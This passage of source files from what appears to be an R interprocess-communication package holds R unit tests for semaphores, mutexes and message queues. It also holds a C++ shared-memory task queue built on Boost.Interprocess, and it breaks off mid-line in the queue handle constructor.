ipcSemaphoreWaitTry(sem1)) # printEvents() # Wake third worker and wait for response ipcSemaphorePost(sem0) ipcSemaphoreWait(sem1) checkTrue(! ipcSemaphoreWaitTry(sem0)) checkTrue(! ipcSemaphoreWaitTry(sem1)) # printEvents() # Sleigh workers should be done now. waitSleigh(sp) # printEvents() # Clean up close(s) ipcSemaphoreDestroy(sem0) ipcSemaphoreDestroy(sem1) } ## It's not clear that this can be a useful test. Posix semaphores can be ## "unlinked" while handles are still open, to be deleted when all references ## are closed. Windows semaphores almost certainly cannot be deleted until all ## references are closed. ## # test.sem.destroyed <- function() { # sem0 <- force.create.sem('test_semaphore', 3) # sem1 <- ipcSemaphoreOpen('test_semaphore') # ipcSemaphoreDestroy(sem0) # options(show.error.messages=FALSE) # ipcSemaphorePost(sem1) # ipcSemaphoreWait(sem1) # ipcSemaphoreWaitTry(sem1) # ipcSemaphoreDestroy(sem1) # options(show.error.messages=TRUE) # } ##################################################### ## Mutexes ##################################################### test.mutex.allnonblock <- function() { master <- force.create.mutex('test_mutex', FALSE) checkTrue(! is.null(master)) worker <- ipcMutexOpen('test_mutex', FALSE) checkTrue(ipcMutexLock(worker)) checkTrue(! ipcMutexLockTry(worker)) checkTrue(! ipcMutexLockTry(master)) checkTrue(ipcMutexUnlock(worker)) checkTrue(ipcMutexLockTry(master)) checkTrue(! ipcMutexLockTry(worker)) checkTrue(! ipcMutexLockTry(master)) checkTrue(ipcMutexUnlock(master)) ipcMutexRelease(worker) ipcMutexDestroy(master) } test.rmutex.allnonblock <- function() { master <- force.create.mutex('test_rmutex', TRUE) checkTrue(! is.null(master)) worker <- ipcMutexOpen('test_rmutex', TRUE) checkTrue(ipcMutexLock(worker)) checkTrue(ipcMutexLockTry(worker)) ## SIGH... if pid(master) == pid(worker), 'master' and 'worker' are ## equivalent on Posix. # checkTrue(! ipcMutexLockTry(master)) checkTrue(ipcMutexUnlock(worker)) # checkTrue(! ipcMutexLockTry(master)) checkTrue(ipcMutexUnlock(worker)) checkTrue(ipcMutexLockTry(master)) checkTrue(ipcMutexLock(master)) checkTrue(ipcMutexLock(master)) # checkTrue(! ipcMutexLockTry(worker)) checkTrue(ipcMutexUnlock(master)) # checkTrue(! ipcMutexLockTry(worker)) checkTrue(ipcMutexUnlock(master)) # checkTrue(! ipcMutexLockTry(worker)) checkTrue(ipcMutexUnlock(master)) checkTrue(ipcMutexLockTry(worker)) checkTrue(ipcMutexUnlock(worker)) ipcMutexRelease(worker) ipcMutexDestroy(master) } test.mutex.stale <- function() { master <- force.create.mutex('test_mutex', FALSE) checkTrue(! is.null(master)) ipcMutexDestroy(master) options(show.error.messages=FALSE) checkException(ipcMutexLock(master)) checkException(ipcMutexLockTry(master)) checkException(ipcMutexUnlock(master)) options(show.error.messages=TRUE) ipcMutexRelease(master) ipcMutexDestroy(master) } test.rmutex.stale <- function() { master <- force.create.mutex('test_rmutex', TRUE) checkTrue(! is.null(master)) ipcMutexDestroy(master) options(show.error.messages=FALSE) checkException(ipcMutexLock(master)) checkException(ipcMutexLockTry(master)) checkException(ipcMutexUnlock(master)) options(show.error.messages=TRUE) ipcMutexRelease(master) ipcMutexDestroy(master) } helper.mutex.allblock <- function() { library(revoIPC) # publishEvent <- function(ev) { nwsStore(SleighUserNws, 'events', ev) # publishEvent('begin') mtx <- ipcMutexOpen('test_mutex', FALSE) for (i in 1:250) { ipcMutexLock(mtx) value <- nwsFind(SleighUserNws, 'counter') nwsStore(SleighUserNws, 'counter', value + 1) ipcMutexUnlock(mtx) } ipcMutexRelease(mtx) # publishEvent('end') } test.mutex.allblock <- function() { mtx <- force.create.mutex('test_mutex', FALSE) # Use sleigh to start 3 workers running "helper" s <- sleigh() wsHandle <- userNws(s) nwsDeclare(wsHandle, 'counter', 'single') nwsStore(wsHandle, 'counter', 0) sp <- eachWorker(s, helper.mutex.allblock, eo=list(closure=FALSE, blocking=FALSE)) # # printEvents <- function() { # # while (TRUE) { # # val <- nwsFetchTry(wsHandle, 'events') # # if (is.null(val)) break # # else cat('Event: ', val, '\n') # # } # # } # Sleigh workers should be done now. waitSleigh(sp) checkEquals(nwsFetch(wsHandle, 'counter'), 750) # printEvents() # Clean up close(s) ipcMutexDestroy(mtx) } helper.rmutex.allblock <- function() { library(revoIPC) # publishEvent <- function(ev) { nwsStore(SleighUserNws, 'events', ev) # publishEvent('begin') mtx <- ipcMutexOpen('test_mutex', TRUE) for (i in 1:250) { ipcMutexLock(mtx) ipcMutexLock(mtx) # The mutex so nice, they locked it twice! value <- nwsFind(SleighUserNws, 'counter') nwsStore(SleighUserNws, 'counter', value + 1) ipcMutexUnlock(mtx) ipcMutexUnlock(mtx) } ipcMutexRelease(mtx) # publishEvent('end') } test.rmutex.allblock <- function() { mtx <- force.create.mutex('test_mutex', TRUE) # Use sleigh to start 3 workers running "helper" s <- sleigh() wsHandle <- userNws(s) nwsDeclare(wsHandle, 'counter', 'single') nwsStore(wsHandle, 'counter', 0) sp <- eachWorker(s, helper.rmutex.allblock, eo=list(closure=FALSE, blocking=FALSE)) # # printEvents <- function() { # # while (TRUE) { # # val <- nwsFetchTry(wsHandle, 'events') # # if (is.null(val)) break # # else cat('Event: ', val, '\n') # # } # # } # Sleigh workers should be done now. waitSleigh(sp) value <- nwsFetch(wsHandle, 'counter') checkEquals(value, 750) # printEvents() # Clean up close(s) ipcMutexDestroy(mtx) } ##################################################### ## Message Queues ##################################################### test.mq.allnonblock <- function() { mq <- force.create.mq('test_mq', 16, 100) mqR <- ipcMsgQueueOpen('test_mq') checkEquals(16, ipcMsgQueueGetCapacity(mq)) checkEquals(0, ipcMsgQueueGetCount(mq)) checkTrue(ipcMsgQueueGetMaxSize(mq) >= 100) # Fill the queue for (i in 1:16) { checkTrue(ipcMsgSendTry(mq, i)) } checkEquals(16, ipcMsgQueueGetCount(mq)) # Next send should fail checkTrue(! ipcMsgSendTry(mq, 100)) # First 16 receives should match first 16 sends for (i in 1:16) { checkEquals(i, ipcMsgReceiveTry(mqR)) } checkEquals(0, ipcMsgQueueGetCount(mq)) # Next receive should fail checkTrue(is.null(ipcMsgReceiveTry(mqR))) # Fill the queue again, blocking ops for (i in 17:32) { checkTrue(ipcMsgSend(mq, i)) } checkEquals(16, ipcMsgQueueGetCount(mq)) # Next send should fail checkTrue(! ipcMsgSendTry(mq, 100)) # Next 16 receives should match second 16 sends for (i in 17:32) { checkEquals(i, ipcMsgReceive(mqR)) } checkEquals(0, ipcMsgQueueGetCount(mq)) # Next receive should fail checkTrue(is.null(ipcMsgReceiveTry(mqR))) ipcMsgQueueRelease(mqR) ipcMsgQueueDestroy(mq) } test.mq.stale <- function() { mq <- force.create.mq('test_mq', 16, 100) ipcMsgQueueDestroy(mq) options(show.error.messages=FALSE) checkException(ipcMsgSend(mq, 100)) checkException(ipcMsgSendTry(mq, 100)) checkException(ipcMsgReceive(mq, 100)) checkException(ipcMsgReceiveTry(mq, 100)) checkException(ipcMsgQueueGetCapacity(mq)) checkException(ipcMsgQueueGetCount(mq)) checkException(ipcMsgQueueGetMaxSize(mq)) options(show.error.messages=TRUE) } helper.mq.allblock <- function() { library(revoIPC) # publishEvent <- function(ev) { nwsStore(SleighUserNws, 'events', ev) } # publishEvent('begin') mq1 <- ipcMsgQueueOpen('test_mq1') mq2 <- ipcMsgQueueOpen('test_mq2') while (TRUE) { # publishEvent('waiting') val <- ipcMsgReceive(mq1) # publishEvent(val) if (val == -1) break # publishEvent('replying') ipcMsgSend(mq2, val + 100) } ipcMsgQueueRelease(mq1) ipcMsgQueueRelease(mq2) # publishEvent('end') } test.mq.block <- function() { mq1 <- force.create.mq('test_mq1', 16, 100) mq2 <- force.create.mq('test_mq2', 16, 100) # Use sleigh to start 3 workers running "helper" s <- sleigh() wsHandle <- userNws(s) sp <- eachWorker(s, helper.mq.allblock, eo=list(closure=FALSE, blocking=FALSE)) # printEvents <- function() { # while (TRUE) { # val <- nwsFetchTry(wsHandle, 'events') # if (is.null(val)) { print('End of events.'); break } # else cat('Event: ', val, '\n') # } # } # print('Number 1') # printEvents() # Send the first batch for (i in 1:16) { ipcMsgSend(mq1, i) } # print('Number 2') # printEvents() # Drain them sum <- 0 for (i in 1:16) { sum <- sum + ipcMsgReceive(mq2) } checkEquals(sum, 1736) # print('Number 3') # printEvents() # Kill a worker ipcMsgSend(mq1, -1) # print('Number 4') # Send the second batch for (i in 17:32) { ipcMsgSend(mq1, i) } # print('Number 5') # Drain them sum <- 0 for (i in 1:16) { sum <- sum + ipcMsgReceive(mq2) } checkEquals(sum, 1992) # print('Number 6') # Kill a worker ipcMsgSend(mq1, -1) # print('Number 7') # Send the third batch for (i in 33:48) { ipcMsgSend(mq1, i) } # print('Number 8') # Drain them sum <- 0 for (i in 1:16) { sum <- sum + ipcMsgReceive(mq2) } checkEquals(sum, 2248) # print('Number 9') # Kill the last worker ipcMsgSend(mq1, -1) # print('Number 10') # Sleigh workers should be done now. waitSleigh(sp) # printEvents() # print('Number 11') # Clean up close(s) ipcMsgQueueDestroy(mq1) ipcMsgQueueDestroy(mq2) } <file_sep>/src/queue.h /***************************************************************** * Shared task queue structure. * * This queue structure makes a few assumptions. First, there will be only a * single master (i.e. only a single agent which is enqueuing tasks and * processing returned results at any given time). This minimizes the required * synchronization. It isn't essential that the master always be the same * process, but enqueue and wait_results operations may not safely run * concurrently with other enqueue or wait_results operations. * * dequeue and return_results are concurrency-safe. *****************************************************************/ #ifndef INCLUDED_TASKQUEUE_QUEUE_H #define INCLUDED_TASKQUEUE_QUEUE_H #include "boost/interprocess/managed_mapped_file.hpp" #include "boost/interprocess/managed_shared_memory.hpp" #include "boost/interprocess/sync/named_semaphore.hpp" #include "boost/interprocess/sync/named_mutex.hpp" #include "boost/interprocess/allocators/allocator.hpp" #include "boost/interprocess/containers/string.hpp" #ifndef WIN32 #if ! defined(_POSIX_SEMAPHORES) || ((_XOPEN_VERSION >= 600) && (_POSIX_SEMAPHORES - 0 <= 0)) #define RIPC_USE_SYSV_SEMAPHORES #endif #endif #ifdef RIPC_USE_SYSV_SEMAPHORES #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #endif using boost::interprocess::read_write; using boost::interprocess::mapped_region; using boost::interprocess::file_mapping; using boost::interprocess::managed_mapped_file; using boost::interprocess::managed_shared_memory; using boost::interprocess::offset_ptr; using boost::interprocess::named_semaphore; using boost::interprocess::named_mutex; namespace queue { typedef boost::interprocess::allocator<char, managed_shared_memory::segment_manager> CharAllocator; typedef boost::interprocess::basic_string<char, std::char_traits<char>, CharAllocator> shared_string_t; /* Exception thrown to indicate a requested shutdown. */ class ShutdownException : public std::exception { public: ShutdownException() : std::exception() { } ~ShutdownException() throw() { } char const *what() const throw() { return "shutdown requested"; } }; class MappedFile { public: MappedFile(std::string const &fname) : _file(fname.c_str(), read_write), _region(_file, read_write) { } ~MappedFile() { } void *get_address() { return _region.get_address(); } std::size_t get_size() { return _region.get_size(); } private: file_mapping _file; mapped_region _region; }; /* Buffer to hold a single task/result. */ class Message { public: /* Construct a new task buffer. */ Message() : _next(NULL), _data(NULL), _id(0), _length(0), _refs(0) { } /* Get the id of this task. */ int get_id() const { return _id; } /* Set the id of this task. */ void set_id(int id) { _id = id; } /* Get the "next" pointer for this message in the current queue. */ Message *get_next() const { return _next.get(); } /* Set the "next" pointer for this message in the current queue. */ void set_next(Message *m) { _next = m; } /* Set the data for this message. This is a raw pointer to data * allocated in the shared segment, and a raw length, which should be * negated if the data refers to a filename rather than the direct * data. */ void set_data(char *msg, int len) { _data = msg; _length = len; } /* Clear the data for this message. Caller is responsible for freeing * the memory in the shared segment. */ void clear_data() { _data = NULL; _length = 0; } /* Get the "raw" length of this message. Positive values indicate that * the data is stored in shared memory, and give the actual data * length. Negative values indicate that the shared memory contains a * filename, and the length is the negation of the filename length. */ inline int get_length() const { return _length; } /* Set the raw length of this message. Caveat callor: this doesn't * change the allocation, so... be wise. */ inline void set_length(int len) { _length = len; } /* Get the "raw" data of this message. If the length is negative, the * raw data actually contains a filename containing the data. */ inline char *get_data() const { return _data.get(); } private: /* Pointer to next task in the current queue. */ offset_ptr<Message> _next; /* Pointer to the raw data for this message. */ offset_ptr<char> _data; /* Id for this task. */ int _id; /* Raw length of this message. */ int _length; /* Number of completions (broadcast message) */ int _refs; }; class QueueHandle; /* Handle to a message. Message will be stored in shared memory, but * MessageHandle will not. */ class MessageHandle { public: /* Create a new message handle. */ MessageHandle(Message *msg, QueueHandle *queue, MessageHandle *env) : _message(msg), _queue(queue), _file_temp(NULL), _environment(env) { } /* Destructor for message handles. */ ~MessageHandle() { } /* Get the id of this message. */ int get_id() const { return _message->get_id(); } /* Set the data for this message. */ void set_data(char const *msg, int len); /* Clear the data for this message, freeing the underlying resources. */ void clear_data(); /* Get the length of this message. */ int get_length(); /* Get the data of this message. */ char *get_data(); /* Release the data of this message. This MUST be called after calling * get_data. */ void release_data(); /* Get the underlying message object. */ Message *get_message() const { return _message; } /* Get the prevailing environment, if any. */ MessageHandle *get_environment() const { return _environment; } private: /* Pointer to the message data itself. */ Message *_message; /* Pointer to the queue handle for this message. */ QueueHandle *_queue; /* Temporary pointer to a managed mapped file. */ MappedFile *_file_temp; /* The new environment, if one is required. */ MessageHandle *_environment; }; /* The task queue. Consists of an "outbound" task queue and an "inbound" * result queue. enqueue/dequeue may be used to access the task queue, and * return_result/wait_result may be used to access toe result queue. */ class Queue { public: /* Create a task queue, cleaning up any leftover resources from an old queue. */ static Queue *create(managed_shared_memory &segment, std::string const &name, std::string const &tmpdir, long mem_size, int max_tasks, int file_thresh); /* Connect to the task queue. */ static Queue *open(managed_shared_memory &segment); /* Get the name of this queue. */ std::string get_name() const { return std::string(_name.begin(), _name.end()); } /* Get the location of the temp dir for this queue. */ std::string get_temp_dir() const { return std::string(_tmpdir.begin(), _tmpdir.end()); } /* Get the total space in bytes available in task queue. */ long get_mem_size() const { return _mem_size; } /* Get the maximum number of tasks in queue. */ int get_max_tasks() const { return _max_tasks; } /* Threshold for sending data via file. */ int get_file_threshold() const { return _file_threshold; } /* Get the number of outstanding tasks. */ int get_num_outstanding_tasks() const { return _num_outstanding; } /* Initiate a shutdown of the task queue, signalling shutdown to the * workers. Note that it may take a little while for the workers to * shutdown, so it's a good idea to delay briefly before destroying the * task queue. */ void shutdown() { _shutdown = true; } /* Check if a shutdown has been requested for this task queue. */ bool shutdown_signalled() { return _shutdown; } /* Allocate a task. Once a task is allocated, it MUST be returned to * the queue using either 'enqueue', 'return_result', or * 'discard_result', or it will be leaked. */ Message *allocate_task(); /* Enqueue a task, appending it to the queue of tasks. Returns the * unique id for this particular task. */ int enqueue(Message *m); /* Dequeue the first available task, blocking until one becomes * available. */ Message *dequeue(); /* Return a result to the task queue. */ void return_result(Message *msg); /* Dequeue the first available result. */ Message *get_result(); /* Discard a result. This must be called upon the value returned from * wait_result to clean up the results after they have been digested. */ void discard_result(Message *msg); /* Refresh the "environment" task. */ Message *new_environment(); /* Get the "environment" task. */ Message *get_environment() const { return _environment.get(); } /* Get the current environment generation. */ int get_environment_generation() const { return _env_generation; } /* Construct a new queue. (DO NOT USE.) */ Queue(managed_shared_memory &segment, std::string const &name, std::string const &tmpdir, long mem_size, int buf_size, int file_thresh); /* Destroy a queue. (DO NOT USE.) */ ~Queue(); private: /* Next task id to allocate */ int _next_id; /* Number of tasks which have been submitted, but whose results have * not been collected. */ int _num_outstanding; /* Number of tasks which have been submitted, but which have not been * claimed by workers. */ int _num_tasks; /* Number of results which have been returned, but which have not been * retrieved. */ int _num_results; /* Number of results which are in the "free" queue -- i.e. which may be * allocated to hold new tasks. This is the maximum number of new * tasks which can be immediately enqueued at this moment. */ int _num_free; /* Generation counter for environments. */ int _env_generation; /* Pointer to array of all task structures. */ offset_ptr<Message> _buffer; /* Head and tail pointer for task queue. */ offset_ptr<Message> _task_head; offset_ptr<Message> _task_tail; /* Head and tail pointer for result queue. */ offset_ptr<Message> _result_head; offset_ptr<Message> _result_tail; /* Linked list of free task objects. */ offset_ptr<Message> _free; /* Current environment. */ offset_ptr<Message> _environment; /* Name of this queue. */ shared_string_t _name; /* Location of temp dir for this queue. */ shared_string_t _tmpdir; /* Total space available in task queue. */ long _mem_size; /* Maximum number of tasks in queue. */ int _max_tasks; /* Threshold for sending data via file. */ int _file_threshold; /* Shutdown flag */ bool _shutdown; }; #ifdef WIN32 typedef HANDLE SemaphoreType; typedef HANDLE MutexType; #elif defined(RIPC_USE_SYSV_SEMAPHORES) typedef struct { int sem_handle; int sem_idx; } SemaphoreType; typedef SemaphoreType MutexType; #else typedef named_semaphore *SemaphoreType; typedef named_mutex *MutexType; #endif /* Handle to a task queue. */ class QueueHandle { public: QueueHandle(std::string const &name); QueueHandle(std::string const &name, std::string const &tmpdir, long mem_size, int max_tasks, int inline_thresh); ~QueueHandle() { #ifdef WIN32 if (_task_count) ::CloseHandle(_task_count); if (_result_count) ::CloseHandle(_result_count); if (_lock) ::CloseHandle(_lock); #elif defined(RIPC_USE_SYSV_SEMAPHORES) /* No cleanup needed. */ #else delete _task_count; delete _result_count; delete _lock; #endif delete _segment; delete _environment; } /* Destroy a task queue, cleaning up any resources. */ void destroy(); /* Get the name of this queue. */ std::string get_name() const { check_destroyed(); return _queue->get_name(); } /* Get the location of the temp dir for this queue. */ std::string get_temp_dir() const { check_destroyed(); return _queue->get_temp_dir(); } /* Get the total space in bytes available in task queue. */ long get_mem_size() const { check_destroyed(); return _queue->get_mem_size(); } /* Get the maximum number of tasks in queue. */ int get_max_tasks() const { check_destroyed(); return _queue->get_max_tasks(); } /* Threshold for sending data via file. */ int get_file_threshold() const { check_destroyed(); return _queue->get_file_threshold(); } /* Get the number of outstanding tasks. */ int get_num_outstanding_tasks() const { check_destroyed(); return _queue->get_num_outstanding_tasks(); } /* Get raw access to the shared memory segment. This may be used to * pass more complex data structures as part of a task message. */ managed_shared_memory &segment() { check_destroyed(); return * _segment; } /* Initiate a shutdown of the task queue, signalling shutdown to the * workers. Note that it may take a little while for the workers to * shutdown, so it's a good idea to delay briefly before destroying the * task queue. */ void shutdown(); /* Allocate a task. Once a task is allocated, it MUST be returned to * the queue using either 'enqueue', 'return_result', or * 'discard_result', or it will be leaked. */ MessageHandle *allocate_task() { check_destroyed(); return new MessageHandle(_queue->allocate_task(), this, NULL); } /* Enqueue a task, appending it to the queue of tasks. Returns the * unique id for this particular task. */ int enqueue(MessageHandle *m); /* Enqueue a task, allocating it, and copying its data from 'msg', * returning the task's unique id. */ int enqueue(char const *msg, int length); /* Dequeue the first available task, blocking until one becomes * available. */ MessageHandle *dequeue(); /* Return a result to the task queue. */ void return_result(MessageHandle *msg); /* Dequeue the first available result, returning NULL immediately if * none is available. */ MessageHandle *check_result(); /* Dequeue the first available result, blocking until one becomes * available. */ MessageHandle *wait_result(); /* Discard a result. This must be called upon the value returned from * wait_result to clean up the results after they have been digested. */ void discard_result(MessageHandle *msg) { check_destroyed(); msg->clear_data(); _queue->discard_result(msg->get_message()); delete msg; } /* Add a new "environment" task. */ void set_environment(char const *data, int length); /* Get the environment. */ MessageHandle *get_environment(); private: void check_destroyed() const { if (! _queue) throw ShutdownException(); } private: /* The queue. */ Queue *_queue; /* Semaphore containing available task count. */ SemaphoreType _task_count; /* Semaphore containing available result count. */ SemaphoreType _result_count; /* Semaphore used as a lock for the queues. */ MutexType _lock; /* Shared memory segment containing the task queue. */ managed_shared_memory *_segment; /* Current generation number for environment tasks. */ int _env_generation; /* Message handle for environment. */ MessageHandle *_environment; }; }; #endif <file_sep>/src/queue.cc #include "queue.h" #include <fstream> #include <exception> #include <cassert> #include <cstdlib> #include <sys/types.h> #include <sys/stat.h> #ifdef WIN32 #include <winbase.h> #include <io.h> #include <fcntl.h> #include <share.h> #include <direct.h> #else #include <dirent.h> #include <unistd.h> #endif using boost::interprocess::mapped_region; using boost::interprocess::file_mapping; using boost::interprocess::shared_memory_object; using boost::interprocess::create_only; using boost::interprocess::open_only; using boost::interprocess::open_or_create; #ifdef WIN32 #define RIPC_ACQUIRE_MUTEX(mtx) ::WaitForSingleObject((mtx), INFINITE) #define RIPC_RELEASE_MUTEX(mtx) ::ReleaseMutex((mtx)) #define RIPC_WAIT_SEMAPHORE(sem) ::WaitForSingleObject((sem), INFINITE) #define RIPC_POLL_SEMAPHORE(sem) (0 == ::WaitForSingleObject((sem), 0)) #define RIPC_POST_SEMAPHORE(sem) ::ReleaseSemaphore((sem), 1, NULL); #elif defined(RIPC_USE_SYSV_SEMAPHORES) #ifdef _SEM_SEMUN_UNDEFINED union semun { int val; /* Value for SETVAL */ struct semid_ds *buf; /* Buffer for IPC_STAT, IPC_SET */ unsigned short *array; /* Array for GETALL, SETALL */ }; #endif static void sysv_sem_wait(queue::SemaphoreType *mtx) { struct sembuf ctl_buf = { mtx->sem_idx, -1, SEM_UNDO }; semop(mtx->sem_handle, & ctl_buf, 1); } static bool sysv_sem_poll(queue::SemaphoreType *mtx) { struct sembuf ctl_buf = { mtx->sem_idx, -1, SEM_UNDO | IPC_NOWAIT }; bool success = (semop(mtx->sem_handle, & ctl_buf, 1) != -1); return success; } static void sysv_sem_post(queue::SemaphoreType *mtx) { struct sembuf ctl_buf = { mtx->sem_idx, 1, SEM_UNDO }; semop(mtx->sem_handle, & ctl_buf, 1); } #define RIPC_ACQUIRE_MUTEX(mtx) sysv_sem_wait(& (mtx)) #define RIPC_RELEASE_MUTEX(mtx) sysv_sem_post(& (mtx)) #define RIPC_WAIT_SEMAPHORE(sem) sysv_sem_wait(& (sem)) #define RIPC_POLL_SEMAPHORE(sem) sysv_sem_poll(& (sem)) #define RIPC_POST_SEMAPHORE(sem) sysv_sem_post(& (sem)) #else #define RIPC_ACQUIRE_MUTEX(mtx) (mtx)->lock() #define RIPC_RELEASE_MUTEX(mtx) (mtx)->unlock() #define RIPC_WAIT_SEMAPHORE(sem) (sem)->wait() #define RIPC_POLL_SEMAPHORE(sem) (sem)->try_wait() #define RIPC_POST_SEMAPHORE(sem) (sem)->post() #endif namespace { bool is_directory(std::string const &dir) { #ifdef WIN32 WIN32_FIND_DATA ffd; // Directory traversal state HANDLE sh = FindFirstFile(dir.c_str(), &ffd); if (INVALID_HANDLE_VALUE == sh) return false; bool is_dir = (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0; FindClose(sh); return is_dir; #else struct stat sb; if (stat(dir.c_str(), &sb) == -1) return false; return S_ISDIR(sb.st_mode); #endif } /* Destroy a directory and all of its subdirectories. */ void nuke(std::string const &dir) { #ifdef WIN32 std::string searchPath(dir + "\\*"); WIN32_FIND_DATA ffd; // file information struct HANDLE sh = FindFirstFile(searchPath.c_str(), &ffd); if (INVALID_HANDLE_VALUE == sh) return; do { if (strcmp(ffd.cFileName, ".") == 0 || strcmp(ffd.cFileName, "..") == 0) continue; std::string fullPath(dir + '\\' + ffd.cFileName); if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) nuke(fullPath); else std::remove(fullPath.c_str()); } while (FindNextFile(sh, &ffd)); FindClose(sh); #else DIR *d = opendir(dir.c_str()); if (d == NULL) return; struct dirent *de = readdir(d); /* XXX: Use readdir_r if it is available. */ do { std::string path(dir + '/' + de->d_name); if (is_directory(path)) { if (de->d_name[0] == '.') { if (de->d_name[1] == '\0' || (de->d_name[1] == '.' && de->d_name[2] == '\0')) continue; } nuke(path); } else std::remove(path.c_str()); } while ((de = readdir(d)) != NULL); closedir(d); std::remove(dir.c_str()); #endif } /* Need to add portable code for making a directory and any non-existent * parent directories. */ void mkdirs(std::string const &dir) { if (is_directory(dir)) return; /* XXX */ #ifdef WIN32 _mkdir(dir.c_str()); #else mkdir(dir.c_str(), 0700); #endif } /* Create a temporary file, optionally pre-populating it with specific * contents. */ std::string make_temp_file(int id, std::string const &dir, char const *data, int len) { char buffer[100]; sprintf(buffer, "%08d", id); std::string filepath(dir + '/' + buffer); std::filebuf fbuf; fbuf.open(filepath.c_str(), std::ios_base::in | std::ios_base::out | std::ios_base::trunc | std::ios_base::binary); // Set the size fbuf.pubseekoff(len - 1, std::ios_base::beg); fbuf.sputc(0); fbuf.close(); // If we have data, copy it in if (data != NULL) { file_mapping m_file(filepath.c_str(), read_write); mapped_region region(m_file, read_write); memcpy(region.get_address(), data, len); } return filepath; } /* Get the length of a file in bytes. */ int get_file_length(std::string const &filename) { FILE *f = fopen(filename.c_str(), "rb"); if (f == NULL) return 0; fseek(f, 0, SEEK_END); int len = ftell(f); fclose(f); return len; } /* Segment details */ char const SEGMENT_NAME[] = "(Shm)"; /* Semaphores */ char const SEMAPHORE_NAME_NUMTASKS[] = "(SemNumTasks)"; char const SEMAPHORE_NAME_NUMREPLIES[] = "(SemNumReplies)"; char const MUTEX_NAME_LOCK[] = "(MtxLock)"; /* Buffer details */ char const BUFFER_NAME[] = "QueueBuf"; }; namespace queue { void MessageHandle::set_data(char const *msg, int len) { /* Free the old data. NOTE: This means we cannot copy the response data directly out of the task data. Insofar as this is used from R, this isn't a problem, as we can't directly use the data in the task buffer anyway, but must deserialize it. */ clear_data(); /* If the data is below the threshold, try to stash it in the shared * memory directly. */ if (len <= _queue->get_file_threshold()) { try { /* Allocate the new buffer and copy over the data. */ char *new_d = static_cast<char *>(_queue->segment().allocate(len)); memcpy(new_d, msg, len); /* Now put in the new data. */ _message->set_data(new_d, len); return; } catch (std::bad_alloc b) { /* Recovery: we'll fail over to mmapped files. */ } } /* Copy the data to a file and stash its filename in the shared memory. * XXX: This could be an epic fail if we don't even have enough room in * the shared memory for the filename. Hopefully it won't come to * that... */ std::string fname = make_temp_file(_message->get_id(), _queue->get_temp_dir(), msg, len); char *data = static_cast<char *>(_queue->segment().allocate(fname.size() + 1)); memcpy(data, fname.c_str(), fname.size() + 1); _message->set_data(data, - (int) (1 + fname.size())); } void MessageHandle::clear_data(void) { if (_message->get_data()) { /* _file_temp != NULL -> file stored in mmapped file. */ if (_file_temp) { delete _file_temp; _file_temp = NULL; std::string path(_message->get_data()); std::remove(path.c_str()); } _queue->segment().deallocate(_message->get_data()); _message->set_data(NULL, 0); } } int MessageHandle::get_length() { int const len = _message->get_length(); /* Length >= 0 is the actual data length. */ if (len >= 0) return len; /* Length < 0 means we get the length from a file. */ return get_file_length(_message->get_data()); } char *MessageHandle::get_data() { int const len = _message->get_length(); /* Length >= 0 means the data is in shared memory. */ if (len >= 0) return _message->get_data(); /* Otherwise, let's map the file containing the data and return a * pointer to it. */ if (_file_temp == NULL) _file_temp = new MappedFile(_message->get_data()); return reinterpret_cast<char *>(_file_temp->get_address()); } void MessageHandle::release_data() { if (_file_temp != NULL) { delete _file_temp; _file_temp = NULL; } } Queue *Queue::create(managed_shared_memory &segment, std::string const &name, std::string const &tmpdir, long mem_size, int max_tasks, int file_thresh) { /* Construct the task queue in the shared memory segment. */ return segment.construct<Queue>(BUFFER_NAME)(segment, name, tmpdir, mem_size, max_tasks, file_thresh); } Queue *Queue::open(managed_shared_memory &segment) { /* Find the task queue in the shared memory segment. */ std::pair<Queue *, std::size_t> res = segment.find<Queue>(BUFFER_NAME); Queue *q = res.first; return q; } Queue::Queue(managed_shared_memory &segment, std::string const &name, std::string const &tmpdir, long mem_size, int max_tasks, int file_thresh) : _next_id(1000), _num_outstanding(0), _num_tasks(0), _num_results(0), _num_free(max_tasks), _env_generation(0), _buffer(), _task_head(), _task_tail(), _result_head(), _result_tail(), _free(), _environment(NULL), _name(name.c_str(), CharAllocator(segment.get_segment_manager())), _tmpdir(tmpdir.c_str(), CharAllocator(segment.get_segment_manager())), _mem_size(mem_size), _max_tasks(max_tasks), _file_threshold(file_thresh), _shutdown(false) { /* Allocate the task structures, and link them together into the free * queue. */ _buffer = segment.construct<Message>(boost::interprocess::anonymous_instance)[max_tasks](); for (int i=0; i<max_tasks - 1; ++i) _buffer[i].set_next(&_buffer[i+1]); _free = &_buffer[0]; } Queue::~Queue() { } Message *Queue::allocate_task(void) { /* If our free queue is empty, we cannot allocate another task. */ if (! _free) return NULL; /* Remove empty task structure from the free list. */ Message *msgbuf = _free.get(); _free = msgbuf->get_next(); msgbuf->set_next(NULL); -- _num_free; /* Allocate id */ msgbuf->set_id(_next_id ++); return msgbuf; } int Queue::enqueue(Message *m) { int id = m->get_id(); if (! _task_head) _task_head = m; else _task_tail->set_next(m); _task_tail = m; ++ _num_tasks; ++ _num_outstanding; return id; } Message *Queue::dequeue(void) { Message *msg = _task_head.get(); -- _num_tasks; _task_head = msg->get_next(); if (! _task_head) _task_tail = NULL; msg->set_next(NULL); return msg; } void Queue::return_result(Message *msg) { msg->set_next(NULL); if (! _result_head) _result_head = msg; else _result_tail->set_next(msg); _result_tail = msg; ++ _num_results; } Message *Queue::get_result() { Message *msg = _result_head.get(); _result_head = msg->get_next(); if (! _result_head) _result_tail = NULL; msg->set_next(NULL); -- _num_results; -- _num_outstanding; return msg; } void Queue::discard_result(Message *msg) { /* Free the contents of this task structure and add it to the free * list. */ msg->clear_data(); msg->set_next(_free.get()); _free = msg; ++ _num_free; } Message *Queue::new_environment() { Message *m = _environment.get(); if (m == NULL) _environment = m = allocate_task(); ++ _env_generation; return m; } QueueHandle::QueueHandle(std::string const &name) : _queue(NULL), #if defined(RIPC_USE_SYSV_SEMAPHORES) _task_count(), _result_count(), _lock(), #else _task_count(NULL), _result_count(NULL), _lock(NULL), #endif _segment(NULL), _env_generation(-1), _environment(NULL) { /* Find our shared memory. */ _segment = new managed_shared_memory(open_only, (name + SEGMENT_NAME).c_str()); /* Find the task queue in the shared memory segment. */ _queue = Queue::open(*_segment); /* Find our semaphores/mutexes. */ #ifdef WIN32 _task_count = ::OpenSemaphoreA(SEMAPHORE_ALL_ACCESS, FALSE, (name + 